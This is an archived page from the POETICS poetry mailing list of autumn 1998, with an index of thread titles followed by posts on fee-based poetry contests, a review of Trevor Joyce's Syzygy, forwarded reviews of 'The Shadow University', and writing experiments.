703. Elizabeth Treadwell — Re: errata & small magazines
704. david bromige — tony lopez in nyc
705. david bromige — Re : Carrying Cole to Colorado
706. Keith Tuma — New poetry journal (fwd)
707. P.Standard Schaefer — Re: errata & small magazines
708. J. Kuszai — WANTED:server space for cat-themed press
709. WENDY KRAMER — inept my ass
710. Susan Wheeler — Re: re : errata & small magazines
711. Rachel Loden — re : errata & small magazines
712. Kathy Lou Schultz — LIPSTICK ELEVEN
713. Mark Weiss — Re: WANTED:server space for cat-themed press

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714. joel lewis — Re: Spicer's Lorca
715. david bromige — Re : In His Own Write
716. Mark DuCharme — Re: errata & small magazines
717. Tom Orange — errata & small magazines
718. Mark Weiss — Re: errata & small magazines
719. Mark Weiss — Re: errata & small magazines
720. P.Standard Schaefer — Re: errata & small magazines
721. Bob Grumman — Re: WF publications
722. Bob Grumman — Apologies for the Standard Mistake
723. Mark DuCharme — Re: errata & small magazines
724. jesse glass — Re: The House that Jack Built
725. jesse glass — Re: racism & antisemitism
726. jesse glass — Re: racism & antisemitism
727. Maria Damon — Re: errata & small magazines
728. Marcella Durand — Notley at Poetry Project & other readings

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729. jen hofer — speaking of taking care with language...
730. Tom Orange — errata & small magazines
731. Leonard Brink — Re: errata & small magazines
732. Mark Salerno — Forrest Gander, Stefanie Marlis, Tony Towle & Arshile

733. Mark Weiss — Re: speaking of taking care with language...
734. Ralph Wessman — Re: errata & small magazines
735. Daniel Zimmerman — Re: speaking of taking care with language...
736. Henry Gould — joy of pronouns
737. miekal and — Re: reads
738. Mairead Byrne — Re: speaking of taking care with language...
739. KENT JOHNSON — Spicer at MLA?
740. Poetry Project — there's a mag at the end of this typo
741. ShaunAnne Tangney Humanities — Re: Spicer at MLA?
742. sylvester pollet — JOEL OPPENHEIMER SYMPOSIUM
743. Elizabeth Treadwell — small magazines
744. Charles Bernstein — Hannah Weiner Memorial Nov. 7
745. Rachel Levitsky — [Fwd: Stephen Daniel M <[redacted]>: Lynching of Kenyan ...
746. Billy Little — Re: Erato & small magazines
747. maz881 — reads
748. Mark Weiss — Re: Erato & small magazines
749. Mark Weiss — Information, please
750. MAYHEW — Spicer at MLA
751. Jordan Davis — Poetry City
752. Jordan Davis — an error is a way to get to speak twice
753. R M Daley — Re: speaking of taking care with language...
754. L. MacMahon and T.R. Healy — Re: Erato & small magazines
755. Alaric Sumner — Carlyle Reedy EPC web page: Call for performance reviews etc
756. Bob Grumman — Re: speaking of taking care with language...
757. Joe Amato/Kass Fleisher — Re: speaking of taking care with language...
758. Mark Weiss — Re: speaking of taking care with language...
759. Bob Grumman — Re: speaking of taking care with language...
760. David Baratier — Re: errata & small magazines
761. Safdie Joseph — Joanne's Defense; Haiku
762. Daniel Zimmerman — Re: speaking of taking care with language...
763. Edward Fristrom — Re: speaking of taking care with language...
764. Hilton Manfred Obenzinger — Re: speaking of taking care with language...
765. david bromige — sending files to the List
766. david bromige — Tony Lopez reads Nov. 29 ?
767. Daniel Zimmerman — Re: anagrams (fwd)
768. david bromige — anagrams (fwd)
769. david bromige — re : taking care with the language
770. Mark Weiss — Re: re : taking care with the language
771. Pierre Joris — Dick Higgins
772. A. Jenn Sondheim — Upcoming at Hunting Beach / Beyond Baroque
773. Kathy Lou Schultz — Lipstick and panties

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774. Leonard Brink — erotica and small mags
775. George Bowering — re : taking care with the language
776. Tom Orange — errata & small magazines
777. A. Jenn Sondheim — Re: re : taking care with the language
778. Tom Orange — Spicer at MLA
779. dbkk — Re: anagrams (fwd)
780. A. Jenn Sondheim — Re: Dick Higgins
781. Bob Grumman — Re: Dick Higgins
782. J. Kuszai — piazza tales
783. Mairead Byrne — Re: speaking of taking care with language...
784. Mairead Byrne — Re: re : taking care with the language
785. MAYHEW — to one who uses the language
786. R I Caddel — Crump (fwd)

787. Matt Kirschenbaum — Re: Spicer at MLA
788. Mark Prejsnar — we who are about to abuse the language
789. Jerry McGuire — Re: POETICS Digest - 25 Oct 1998 to 26 Oct 1998 (#1998-105)
790. Joe Amato/Kass Fleisher — Re: speaking of taking care with language...
791. Henry Gould — Re: joy of pronouns
792. miekal and — mestostic for dick higgins by miekal and
793. miekal and — errata Re: mestostic for dick higgins by miekal and
794. Douglas Barbour — Re: speaking of taking care with language...
795. R.Gancie/C.Parcelli — Politically Erect
796. KENT JOHNSON — Tilting a metaphor
797. Poetics List — Pleynet in New York (fwd)
798. Burt Hatlen — Re: POETICS Digest - 25 Oct 1998 to 26 Oct 1998 (#1998-105)
799. L. MacMahon and T.R. Healy — Shearsman 36
800. Christina Fairbank Chirot — Re: errata & small magazines
801. Mairead Byrne — Re: Question
802. Christina Fairbank Chirot — Re: speaking of taking care with language...
803. Maria Damon (Maria Damon) — Re: errata & small magazines
804. tracy s. ruggles — Re: Tilting a metaphor
805. Aldon Nielsen — MLA MATTERS
806. KENT JOHNSON — Re: Tilting a metaphor
807. MAYHEW — why Althusser shot his wife
808. Peter Balestrieri — Thatcher speaks out for Pinochet
809. hassen — Re: Tilting a metaphor, argument
810. KENT JOHNSON — Balls
811. David Baratier — Re: taking care with the language
812. David Baratier — Re: errata & small magazines
813. Elizabeth Treadwell — taking care of her
814. Elizabeth Treadwell — offendability
815. Eliza McGrand — Re: why Althusser shot his wife
816. Joseph Conte — Re: Duncan at MLA in San Francisco

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817. Daniel Zimmerman — beating a dead stalliomare?
818. George Bowering — Re: MLA MATTERS
819. A. Jenn Sondheim — Re: beating a dead stalliomare?
820. A. Jenn Sondheim — Epitaph, Pretty Party Dress
821. Elizabeth Mathews Losh — Re: why Althusser shot his wife
822. Pam Brown — Rootin Tootin Shootin titles
823. jesse glass — Re: Crump (fwd)
824. Billy Little — Re: Thatcher speaks out for Pinochet
825. miekal and — mestostic / 3 ply
826. Kathy Lou Schultz — Faculty at CSU--Sacramento?
827. Pierre Joris — Re: why Althusser shot his wife
828. Mairead Byrne — Re: beating a dead stalliomare?
829. Mark Prejsnar — Re: why Althusser shot his wife
830. KENT JOHNSON — This is really strange
831. David Kellogg — Louis Althusser = Anthony Robbins?
832. henry gould — Re: This is really strange
833. miekal and — mestostic / 6 ply
834. Pierre Joris — Re: MLA MATTERS
835. Laura E. Wright — Re: This is really strange
836. charssmith — Re: Faculty at CSU--Sacramento?
837. Timothy Liu — Routine Disruptions
838. Charles Bernstein — java in NY: reading announcement (fwd)
839. Mairead Byrne — Re: This is really strange
840. Lawrence Upton. — (no subject)

841. Sylvester Pollet — Re: java in NY: reading announcement (fwd)
842. s. kaipa — I n t e r l o p e #2, THE COSMOPOLITANS by Sianne Ngai & Brian Kim, Stefans has ...
843. Kathy Lou Schultz — Re: Faculty at CSU--Sacramento?
844. david bromige — ba(i)ted breath
845. Karen and Trevor — more addresses
846. Karen and Trevor — typographical speak
847. Kathy Lou Schultz — Re: MLA MATTERS

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848. Susan Schultz — Re: I n t e r l o p e #2, THE COSMOPOLITANS by Sianne Ngai & Bria...
849. Leonard Brink — Another gimmick,Elizabeth Robinson
850. Todd Baron /*/ ReMap — Re: I n t e r l o p e #2, THE COSMOPOLITANS by Sianne Ngai & Bria...
851. Jim Andrews — Keppler/Andrews visual poetry show
852. Pierre Joris — [Fwd: Ted Hughes is dead]
853. Mairead Byrne — Re: I n t e r l o p e #2, THE COSMOPOLITANS by Sianne Ngai & Bria...
854. Jordan Davis — now accepting orders for The Hat
855. Pritchett,Patrick — Re: crow croaks
856. Charles Alexander — Re: now accepting orders for The Hat
857. KENT JOHNSON — Re: 5 guys named Mo
858. MAYHEW — 5 guys named Mo
859. joel lewis — f.y.i.
860. schuchat — Re: now accepting orders for The Hat
861. david bromige — 5 guys named Mo
862. Jordan Davis — Poetry City Fall 1998
863. Roger Farr — Ted Hughes
864. Aldon Nielsen — "In which will be found what is set forth therein."
865. Aldon Nielsen — happier news
866. acgold01 — Brion Gysin question
867. Christopher Reiner — New address for Avec Books site
868. david bromige — s/hee-it
869. Brian Carpenter — Re: Brion Gysin question
870. F. W. Perrella — Creative NonQuictions Contest - Web Del Sol
871. Aldon Nielsen — Re: s/hee-it
872. MAXINE CHERNOFF — Re: Routine Disruptions
873. miekal and — mestostic / 8 ply
874. KENT JOHNSON — I'm fine, really
875. Pritchett,Patrick — FW: CFP: Postmodern Genres (3/1; MLA '99)
876. KENT JOHNSON — fishnet
877. David Zauhar — Re: Brion Gysin question
878. George Bowering — Re: I'm fine, really
879. Aldon Nielsen — our corrections
880. A. Jenn Sondheim — Thursday (written by Jennifer, 11th grade!*)
881. Maria Damon — from Masha Zavialova, on the Russian Poetry Festival
882. Kathy Lou Schultz — Re: fishnet
883. Kathy Lou Schultz — Re: our corrections

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884. Jim Andrews — Ted Hughes
885. d.j. huppatz — Re: Brion Gysin question
886. miekal and — Re: This is not a suggestion, but . . .
887. Gabriel Gudding — KENT JOHNSON
888. KENT JOHNSON — Russian poetry festival
889. miekal and — Re: Carving Cyber Pumpkins
890. Mairead Byrne — Re: from Masha Zavialova, on the Russian Poetry Festival
891. David Kellogg — This is not a suggestion, but . . .

892. Pritchett,Patrick — Re: This is not a suggestion, but . . .
893. Charles Alexander — two new books
894. Eliza McGrand — joking aside, s/he thing
895. Mairead Byrne — Re: This is not a suggestion, but . . .
896. Karen Kelley — Re: This is not a suggestion, but . . .
897. Mairead Byrne — Re: This is not a suggestion, but . . .
898. Mairead Byrne — Re: This is not a suggestion, but . . .
899. Jordan Davis — Huck it
900. jen hofer — info on Cole Swensen?
901. Hnery Gould — russpofest
902. Tosh — Evguenie Sokolov
903. Eliza McGrand — Re: KENT JOHNSON
904. KENT JOHNSON — Re: KENT JOHNSON
905. Charles Bernstein — java
906. Jim McCrary — Re: Brion Gysin question
907. David Kellogg — Re: This is not a suggestion, but . . .
908. Gabriel Gudding — Re: This is not a suggestion, but . . .
909. Brian Carpenter — Re: Brion Gysin question
910. Brian Carpenter — Re: Brion Gysin question
911. Aldon Nielsen — lipstick traces
912. Charles Alexander — Re: This is not a suggestion, but . . .
913. david bromige — Excited by Eliza, I bare witness . . .
914. schuchat — Re: reads
915. J. Pecqueur — Re: This is not a suggestion, but . . .
916. Charles Alexander — Re: lipstick traces
917. Dale Smith — Carving Cyber Pumpkins
918. Aldon Nielsen — Re: Carving Cyber Pumpkins
919. Robert Archambeau — Inquiry: Romana Huk
920. Dale Smith — Re: Carving Cyber Pumpkins
921. Gary Sullivan — This may be of interest
922. Karen Kelley — Re: This is not a suggestion, but . . .
923. A. Jenn Sondheim — It's 2541 and that time of the year again
924. ShaunAnne Tangney Humanities — Re: Carving Cyber Pumpkins
925. KENT JOHNSON — Poets in the Schools
926. groberts — Re: Carving Cyber Pumpkins
927. Chris McCreary — joint Philly reading series/publishing party
928. jesse glass — Re: anagrams (fwd)
929. J. Kuszai — shop Meow Press Now please
930. Kathy Lou Schultz — Re: lipstick traces
931. Kathy Lou Schultz — Re: This is not a suggestion, but . . .
932. Chip — Dead Huckster Society
933. Daniel Zimmerman — Re: joking aside, s/he thing

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934. Billy Little — Re: This is not a suggestion, but . . .
935. Todd Baron /*/ ReMap — Re: shop Meow Press Now please
936. Todd Baron /*/ ReMap — Re: shop Meow Press Now please
937. George Bowering — Re: KENT JOHNSON
938. George Bowering — Re: This is not a suggestion, but . . .
939. Eliza McGrand — Re: KENT JOHNSON
940. Maria Damon — Re: lipstick traces
941. Poetics List — a poet inquiry (fwd)
942. Charles Bernstein — More Announcements on the list, Please!
943. Joe Amato/Kass Fleisher — Re: joking aside, s/he thing
944. Joe Amato/Kass Fleisher — kerouac in -the atlantic- etc...
945. Loss Pequen~o Glazier — EPC list of conferences

946. Maria Damon — Re: joking aside, s/he thing
947. Laura E. Wright — Re: ba(i)ted breath
948. Dale Smith — Re: Carving Cyber Pumpkins
949. Mark W Scroggins — Re: MLA
950. shemurph — Re: two new books from Chax
951. Kathy Lou Schultz — MLA
952. Gene Bernard Suarez — Greetings & Solicitations
953. Irving Weiss — Exhibit announcement
954. david bromige — this is not a suggestion, but (an order?)
955. Christina Fairbank Chirot — Re: joking aside, s/he thing
956. George Bowering — Re: this is not a suggestion, but (an order?)
957. Daniel Zimmerman — Re: joking aside, s/he thing
958. Elizabeth Treadwell — please keep on announcing
959. Brian Carpenter — halloween haiku
960. Chip — Re: dead Huckster Society
961. A. Jenn Sondheim — Sonnet by Julu (fwd)

1. Charles Alexander
Re: Prize competitions
Wed 30 Sep 1998

But Mark, this is so tricky. And no, I haven't entered contests, and Chax Press doesn't plan to hold one. But, how do you judge "the cost," if you say it's OK to pay for that. Do you pay the contest readers, and do you pay them a decent wage of $25 per hour or more? And if the people running the press are the readers, then what if they decide to put that money into the production of the book rather than into their pockets? How do you decide what's profit -- is that after salaries/fees/overhead/etc. are deducted?

That said, I agree about the proliferation of fee-based contests. But I also think that if a press wants to sponsor a contest and wants the fees from the contest to pay for the publication of a book, that's fine -- as long as the process of the competition is fair. As to "judging and acquiring manuscripts and taking the risk of meeting expenses" being what literary presses are "supposed to do," I agree as long as it's not necessarily assumed that the only way of meeting those expenses is through the sale of books. In that regard, most poetry presses have an extremely difficult time, and many depend (and have depended, for decades if not centuries) on subsidies of various kinds -- whether it's donations from patrons, subsidization by the press's owner/directors, government and foundation subsidies, subsidies by poets published and friends/supporters of those poets, and even, in centuries removed from our own, subsidies from kings/queens/dukes/duchesses/etc. With such subsidies being increasingly difficult to find, and sales of books of poetry hardly able to take up the slack, I'm not at all surprised that presses are coming up with innovative ways of trying to meet expenses and publish books. I only get disgusted when such schemes are unfair, and when there are no other fee-less ways for poets to get published. But there are always ways, as the continuing emergence of new presses and journals (documented so marvelously on this list) shows.

charles

At 10:38 AM 10/1/98 -0700, you wrote:
>As long as this subject has come up again, I'd really like to know how much
>money the various prizes take in in entry fees. If a prize-granting agency,
>whether press or honorary society, has to pay for outside judges I suppose
>it's alright to raise money from fees to offset the cost. I'm not sure it's
>ok to ask applicants to pay for the printing of someone else's book. And I
>am sure that it's not ok for a prize-grantor to make a profit on the process.
>
>There has been an enormous proliferation of fee-for-entrance prizes in the
>past decade. In theory there's nothing to keep any press from converting

>its entire manuscript submission and reading process to a series of
>contests--it would probably pay better than marketing the books. But
>judging and acquiring manuscripts and taking the risk of meeting expenses
>is what presses are supposed to do. And the cost of multiple contest entry,
>surely a form of extortion, has to be onorous for most poets, added, as it
>is, to the already hefty expense involved in becoming and remaining a poet.
>
>For the record, I've never paid to enter a contest because of my feelings
>about the ethics of the process.
>
>At 01:56 AM 10/1/98 +0000, you wrote:
>>Gabriel: We keep the Pavement Saw Press contest entirely anonymous.
>>All of the manuscripts are stripped of name address phone & publication
>>credits and receive a number which is written on the envelope &
>>manuscript. The top 25 are chosen by two readers other than the judge
>>(except last year when everyone bailed). These are then mailed.
>>
>>None of the three winners so far has had a full length book out
>>beforehand. The last chapbook only had two previously published poems.
>>None of the winners had a poem previously published in our journal. None
>>of the judges knew the winners. Josh McKinney could attest to this, he
>>is lurking here somewhere.
>>
>>This says a lot to me about who would win if other contests were done
>>this way. It also tells me that presses who aren't selecting a
>>manuscript are committing egregious blaspheme.
>>
>>As for scandal, I need an anonymous e-mail address for ones which
>>haven't seen print.
>>There also is a whole other side to this situation which involves a
>>shift in editorial policy that benefits University contests and a few
>>others which is real ugly. I haven't seen any words mentioning this
>>yet.
>>
>>Be well
>>
>>David Baratier
>>
>>
>
>
charles alexander :: poet and book artist :: [redacted]

chax press :: alexander writing/design/publishing
books by artists' hands :: web sites built with care and vision
http://alexwritdespub.com/chax :: http://alexwritdespub.com

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2. David Baratier
Re: Teachers Awarding Students Prizes
Wed 30 Sep 1998

Gabriel: We keep the Pavement Saw Press contest entirely anonymous. All of the manuscripts are stripped of name address phone & publication credits and receive a number which is written on the envelope & manuscript. The top 25 are chosen by two readers other than the judge (except last year when everyone bailed). These are then mailed.

None of the three winners so far has had a full length book out beforehand. The last chapbook only had two previously published poems. None of the winners had a poem previously published in our journal. None of the judges knew the winners. Josh McKinney could attest to this, he is lurking here somewhere.

This says a lot to me about who would win if other contests were done this way. It also tells me that presses who aren't selecting a manuscript are committing egregious blaspheme.

As for scandal, I need an anonymous e-mail address for ones which haven't seen print. There also is a whole other side to this situation which involves a shift in editorial policy that benefits University contests and a few others which is real ugly. I haven't seen any words mentioning this yet.

Be well

David Baratier

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3. George Bowering
Re: Levistky--O'Connor
Thu 1 Oct 1998

> *Rachel Levitsky wrote:*
>
> *For now on sexual love will be a matter only between women. The penis will be not more than an auto-erotic stand.*
>
> *I thought perhaps a hat rack.*
>
> *Some men when faced with*
> *this new edict will augment their breasts and dress in a manner*

> *customary for women. Women will accept these men into their couplings only if they chose to refrain from making what is sublime grotesque.*
>
> *Damn! I'll miss you, George.*
>
> *Use of the grotesque will be reserved for the naturally exagerated behavior patterns of those walking alone.*
>
> *And will be strictly regulated by the Ministry of Silly Walks.*
>
> *(the other) Rachel L.*

Dress in a manner customary for women? Most of the women I know dress in a manner that was once customary for men. What the heck do I do now?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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4. Trevor Joyce

Syzygy - another review

Thu 1 Oct 1998

Apologies for blaring my own trumpet a bit loudly but, for anyone who might be interested, here's a review of my chapbook Syzygy which just appeared in The Irish Review (once more published by Cork University Press).

There's an added satisfaction in this, since the redoubtable Edna Longley has long been bouncer at this particular door, admitting only those wearing a button reading "War Poet of Northern Ireland", or genuflecting to the Heaney shrine tastefully placed just at the entrance. She's still on the editorial board, but it seems her veto's gone.

(For her deeply pondered and astonishingly subtle view of "traditions of Irish modernisms other than the Yeats line" see Keith Tuma's note at http://writing.upenn.edu/epc/documents/anglo.html)

Incidentally, I believe the book is also available through Peter Riley's distribution service in England. (Email: [redacted])

***

Purity and Dirt

Alex Davis

Trevor Joyce, Syzygy. Bray: Wild Honey Press, 1998, distributed by Hard-pressed Poetry, 37 Grosvenor Court, Templeville Rd., Templeogue, Dublin 6W, (Phone (353) 21 [redacted]). Ir £3.50.

One useful point of entry into Trevor Joyce¹s challenging new sequence, Syzygy, is "Chimera," from his 1995 collection stone floods. The polyphonic "Chimaera" conjoins dialogically Richard Lovelace¹s self-satisfied, urbane wit, Aloysius Bertrand¹s apocalyptic forebodings of the levelling of all bounds, and the Book of Lieh Tze¹s acceptance of the provisionality of limits in nature, the fragility of the ego and the interconnected diversity of the phenomenal world. While Lovelace¹s verbal ingenuity and Bertrand¹s nausea are aspects of Joyce¹s writing from Pentahedron (1972) on, it is the concerns of the Book of Lieh Tze which chime most fully with those of his recent poetry, including Syzygy. Furthermore, the complex structure of the two interlaced parts of Syzygy recalls even as it excels the earlier poem¹s utilisation of the Japanese renga form, the latter employing, in the words of Joyce¹s note to the poem, "systematic ambiguity to chain together a series of brief stanzas every one of which hinges both forward and backward." In the case of Syzygy, systematic ambiguity derives, not from a literary precedent, but from the method of composition described in Joyce¹s annotations to the sequence. In brief, the "palindromic net," as Joyce felicitously terms it, is achieved by means of a base text, now fossilised in the second part of the sequence, that dictates the opening and closing segments of each of the twelve units or "cells" of part I. Once those cells are complete, their material, mediated through the controlling procedures, determines the remainder of part II. Space prevents a more elaborate exposition of the text¹s structure: the interested reader can consult Joyce¹s notes for a detailed commentary. Of greater importance, I feel, are the implications of this method of composition for our response to and evaluation of this text. Its formal discipline lies in the manner in which the originating lines prescribe, to an extent, the remainder of the text. This approach, of course, is not unique to Joyce: John Cage¹s famous mesostic texts, his "writing through" of others¹ works, are generated in a not unrelated fashion to Syzygy. Even in the context of recent Irish poetry such avant-gardism finds a few--though only a few--parallels: Randolph Healy¹s Flame (1997), also published by Wild Honey Press, is likewise constructed using chance procedures. In Joyce¹s case, the partially prescripted nature of the sequence is at one with Joyce¹s recurrent preoccupation, from Pentahedron to stone floods, with bounds, order and, crucially, with their breakdown and transgression. For, as Joyce¹s notes confess, the symmetry of the sequence is not absolute, there is a tiny flaw in the crystalline structure; and it is precisely this alloyment that brings the formal qualities of Syzygy into alignment with its thematic concern: the relationship between conceptual order and the particularity

of the phenomenal world. In a manner reminiscent of Adorno, the text views the former as necessary and inescapable, but stifling and ineluctably involved with other, harsher kinds of domination:

when the thieving
that was well advanced faltered
the imperial presence surveyed
the ordered territories
and declared in measured words
nothing there is savage any more
intelligence and griefs are tamed
rage is reduced in parks
only perhaps along the furthest bounds
may be some dirt a little ghost
and these are even as we speak contained
in three quart jugs

In these lines, Joyce brings together, with strikingly evocative concision, colonial subjugation of land (in China and Ireland) through force and cartography; a suppressive coercion that is closely bound up with human discourse, the "measured words" "we speak." Such subjection involves rejection, of the "dirt" or debris that refuses to conform to the purifying new order. As Joyce acknowledges, this dimension of the poem draws on the ideas of Mary Douglas, whose Purity and Danger atomises the need purity has to reduce that which it spurns to the non-threatening condition of rubbish, whether that be conceptual or human detritus. Along related lines, a chief preoccupation of the poem is the manner in which lived experiential time is abstracted to clock time, the latter marshalling the former into "garrisons brief zones / of time and influence":

until the fixed mesh abstracts
unerringly each hour
with all its clamouring brood
jerking routinely to the tune

Yet the "clamouring" of reality resists the taxonomic mesh due to its messy particularity, just as one¹s lifeworld defies total systematisation. Joyce conveys the resistance of dirt, in Douglas¹s extended sense, to purification through densely punning lines, the ambiguities of which themselves emphasise the fluidity of a supposedly classified, demarcated and regimented world:

noise of concerns sequestered
ultimately will get out
states sundered bleed
surely each to each

by breaking bounds ghosts
traffic through the empty squares

Indeed, the very title word of Joyce¹s text is ambivalent, trafficking between two senses. Among its meanings, syzygy, in astronomy, can signify either the conjunction or opposition of two heavenly bodies. The strength of this remarkable poem lies in its syzygetic nature; its close correlation of form to a content preoccupied with the opposition that matter, of various kinds, puts up to structuration. (That the word, in prosody, further denotes the admixture of two feet in one metre is also of relevance to the intertwined patterning of the poem¹s two parts.) In these respects, while Syzygy clearly grows out of Joyce¹s last collection, stone floods, it breaks new ground in the compelling intricacy and moving urgency of its formalism.

****

Trevor Joyce
Apple Cork IS&T
Phone : [redacted]
EMail : [redacted]
****

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5. Trevor Joyce
Syzygy - another review (another format)
Thu 1 Oct 1998

This is a resend, since I'm told the first version wasn't sufficiently house-trained, and transgressed the bounds of email legibility . . .

(If you got it legibly already, consider me grovelling.)

As a matter of interest, the author of the review, Alex Davis, has taken over the organization of the Cork Conference for New and Experimental Poetry, which is approaching it's third occurrence. Next April is the likely date, I gather, but anyone interested should contact Alex directly for details. (Email: [redacted])

***

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There's an added satisfaction in this, since the redoubtable Edna Longley has long been bouncer at this particular door, admitting only those wearing a button reading "War Poet of Northern Ireland", or genuflecting to the Heaney

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****

Trevor Joyce
Apple Cork IS&T
Phone : [redacted]
EMail : [redacted]

****

****

Trevor Joyce
Apple Cork IS&T
Phone : [redacted]
EMail : [redacted]

****

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6. Joe Brennan
Fwd: The Shadow University
Thu 1 Oct 1998

This is a multi-part message in MIME format.

--part0_907247712_boundary

hello all...

has anyone read these reviews of "the best of its type since Dinesh D'souza's Illiberal Education..."?

joe

--part0_907247712_boundary

air07.mail.aol.com (v50.14) with SMTP; Thu, 01 Oct 1998 03:57:58 -0400
by relay31.mx.aol.com (8.8.8/8.8.5/AOL-4.0.0)
with ESMTP id DAA21535;
Thu, 1 Oct 1998 03:56:32 -0400 (EDT)
(LSMTP for OpenVMS v1.1b) with SMTP id
<[redacted]>; Thu, 1 Oct 1998 3:54:49 -0500
Date: Thu, 1 Oct 1998 08:51:11 +0100
<[redacted]>
<[redacted]>
From: Human Nature <[redacted]>
Subject: The Shadow University
<[redacted]>
To: [redacted]

The Shadow University: The Betrayal of Liberty on America's Campuses
by Alan Charles Kors, Harvey A. Silverglate
http://www.amazon.com/exec/obidos/ASIN/0684853213/darwinanddarwini/

At first glance, this title is just another entry in the roster of books opposed to political correctness at American universities, yet it's surprisingly good--certainly the best of its type since Dinesh D'Souza's Illiberal Education appeared in 1991. Kors and Silverglate are hard-core civil libertarians turned off by the "hidden, systematic assault upon liberty, individualism, dignity, due process, and equality before the law" that they describe as rampant on campuses. Theirs is not so much a brief against academic multiculturalism, but an eye-opening narrative about how the modern university "hands students a moral agenda upon arrival, subjects them to mandatory political reeducation, sends them to sensitivity training, submerges their individuality in official group identity, intrudes upon private conscience, treats them with scandalous inequality, and,

when it chooses, suspends or expels them." Through well-told stories and anecdotes (including an excellent chapter-long sketch of the University of Pennsylvania's semi-famous "water buffalo" incident), Kors and Silverglate make their case and make it well. --John J. Miller

From Booklist , September 1, 1998 Even chemistry majors are learning politics at American universities these days. But the type of politics they are learning does not impress Kors and Silverglate, since it entails the establishment of a left-leaning political orthodoxy and the systematic suppression of dissent. The authors document in alarming detail the Orwellian techniques universities now use to enforce conformity--vague and self-contradictory speech codes; secretive and arbitrary disciplinary proceedings; ideological indoctrination billed as sensitivity training; censorship of conservative publications and speakers. Besides shaking readers out of their complacency, the tales of abuse lend urgency to their call for renewed openness on college campuses. Only such openness, the authors warn, can restore the First Amendment rights lost to students and professors under the thumb of groupthink inquisitors. And because of the university's culture-shaping power, all of society stands at risk unless such rights are restored. Fortunately, the authors conclude their sobering diagnosis with a promising prescription of practical policies for academics committed to safeguarding campus liberties. So long as campus zealots wage war against independent thought, librarians will see strong demand for this book. Bryce Christensen Copyright© 1998, American Library Association. All rights reserved

From Kirkus Reviews , September 1, 1998 Two civil libertarians take up the cudgels against political correctness in speech codes at American colleges and universities. Kors is a professor of history at the University of Pennsylvania who represented a student - charged with shouting the epithet - water buffalo - at members of a black sorority having a rowdy party in a dormitory courtyard - in his intramural battle with the university. And Silverglate is a civil liberties litigator and legal columnist from Massachusetts. They take the egregious ``Water Buffalo Affair'' of 1993 as the jumping-off point for a wide-ranging, detailed, and legally informed study of how universities and colleges supposedly ride roughshod over First Amendment rights in the interest of curbing hate speech. Their study, while often stimulating and revealing, undermines its own credibility with hysterical rhetoric: ``Universities have become the enemy of a free society, and it is time for the citizens of that society to recognize this scandal of enormous proportions and hold these institutions to account.'' How did we come to this desperate pass? ``Whole departments of the liberal arts have been given to those for whom the universities represent, in their own minds, the revolutionary agency of culture.'' Kors and Silverglate round up the usual suspects, but the late Herbert Marcuse - icon of the 1960s New Left - comes in for a special drubbing. With grudging admiration, they propose that his views on the

limiting of free speech paved the way for Richard Delgado, Charles R. Lawrence III, Mari Matsuda, Catharine MacKinnon, and Stanley Fish, all of whom wish to curtail free speech in the interest of race and gender equality. The authors put academic freedom in historical perspective and offer illuminating observations about double standards and about the universities' relationship to the courts, but the exaggeratedly polemical posturing undermines the reader's confidence in their objectivity. While in many ways a fine and learned study, Kors and Silverglate's hellfire-and-brimstone sermon will likely be heeded only by the saved. -- Copyright ©1998, Kirkus Associates, LP. All rights reserved.

Book Description

Universities once believed themselves to be sacred enclaves, where students and professors could debate the issues of the day and arrive at a better understanding of the human condition. Today, sadly, this ideal of the university is being quietly betrayed from within. Universities still set themselves apart from American society, but now they do so by enforcing their own politically correct worldview through censorship, double standards, and a judicial system without due process. Faculty and students who threaten the prevailing norms may be forced to undergo "thought reform." In a surreptitious aboutface, universities have become the enemy of a free society, and the time has come to hold these institutions to account.

The Shadow University is a stinging indictment of the covert system of justice on college campuses, exposing the widespread reliance on kangaroo courts and arbitrary punishment to coerce students and faculty into conformity. Alan Charles Kors and Harvey A. Silverglate, staunch civil libertarians and active defenders of free inquiry on campus, lay bare the totalitarian mindset that undergirds speech codes, conduct codes, and "campus life" bureaucracies, through which a cadre of deans and counselors indoctrinate students and faculty in an ideology that favors group rights over individual rights, sacrificing free speech and academic freedom to spare the sensitivities of currently favored groups.

From Maine to California, at public and private universities alike, liberty and fairness are the first casualties as teachers and students find themselves in the dock, presumed guilty until proven innocent and often forbidden to cross-examine their accusers. Kors and Silverglate introduce us to many of those who have firsthand experience of the shadow university, including:

The student at the center of the 1993 "Water Buffalo" case at the University of Pennsylvania, who was brought up on charges of racial harassment after calling a group of rowdy students "water buffalo" -- even though the term has no racial connotations.

The Catholic residence adviser who was fired for refusing, on grounds of religious conscience, to wear a symbol of gay and lesbian causes.

The professor who was investigated for sexual harassment when he disagreed with campus feminists about curriculum issues.

The student who was punished for laughing at a statement deemed offensive to others and who was ordered to undergo "sensitivity training" as a result.

The Shadow University unmasks a chilling reality for parents who entrust their sons and daughters to the authority of such institutions, for thinking people who recognize that vigorous debate is the only sure path to truth, and for all Americans who realize that when even one citizen is deprived of liberty, we are all diminished.

The author, Harvey A. Silverglate <[redacted]> , July 12, 1998 At the end of the 20th century, something profoundly disturbing is happening to higher education in America. Universities now enforce a politically correct agenda through censorship, double standards, and kangaroo courts. Faculty and students who dissent from the new orthodoxy are stripped of their civil liberties, some even forced to undergo intrusive and partisan "sensitivity training." Universities have become the enemy of a free society. This book is a stinging indictment and exposure of injustices and coerced conformity on college campuses. The book explains the utopian and totalitarian ideology underlying the new speech and behavioral codes, a worldview that favors group over individual rights and that would sacrifice freedom and equality before the law on behalf of its political goals. The book also offers a legal, strategic, and moral blueprint for restoring liberty at our colleges and universities. The book exposes a state of affairs that will shock anyone who considers free speech, equal justice under law, respect for conscience, and fairness to be at once the foundations and bulwark of American liberty.

The Shadow University: The Betrayal of Liberty on America's Campuses
by Alan Charles Kors, Harvey A. Silverglate
http://www.amazon.com/exec/obidos/ASIN/0684853213/darwinanddarwini/

--part0_907247712_boundary--

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7. james perez
Re: more writing experiments
Thu 1 Oct 1998

> *Jonathan Mayhew's Writing Experiments (with apologies to Bernadette Mayers)*

...

>9. Take a book of poetry by someone else and compose poetic responses to

>every single poem. Try this with a poet you hate and then with a poet you
>love. Try writing your poems directly in the book, if you can stand to
>deface it.

9 (b). Write a book of poetry using the same exact words as another. Use all of them as many times as the original. Really don't cheat, don't tell anyone what you've done. (I've thought to do this for year, with Paterson, would probably take years.)

jperez

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

8. Maria Damon
Re: another course request
Thu 1 Oct 1998

